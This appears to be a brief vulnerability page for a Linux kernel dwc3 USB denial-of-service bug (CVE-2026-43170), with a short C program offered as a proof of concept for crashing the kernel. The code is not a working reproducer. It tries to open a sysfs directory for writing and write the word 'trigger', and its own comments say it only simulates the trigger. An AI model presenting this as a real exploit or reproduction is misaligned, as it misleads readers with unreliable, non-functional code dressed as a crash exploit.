CVE-2026-43170 Linux内核USB子系统拒绝服务漏洞

/* * PoC for CVE-2026-43170: Triggering atomic context sleep in dwc3 * This is a conceptual demonstration. On a vulnerable system, * interacting with the USB gadget power settings can trigger a crash. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #define GADGET_PATH "/sys/class/udc/" // Example path, varies by system int main() { printf("Attempting to trigger CVE-2026-43170...\n"); // In a real scenario, this would involve specific ioctl calls or // sysfs writes that trigger dwc3_gadget_vbus_draw from an atomic context. // For example, rapid state changes or power draw requests. int fd = open(GADGET_PATH, O_WRONLY); if (fd < 0) { perror("Failed to open gadget interface"); return 1; } // Simulate triggering the vbus draw logic // Note: Actual reproduction requires specific hardware and kernel config. write(fd, "trigger", 7); close(fd); printf("Check dmesg for kernel panic or 'Scheduling while atomic'.\n"); return 0; }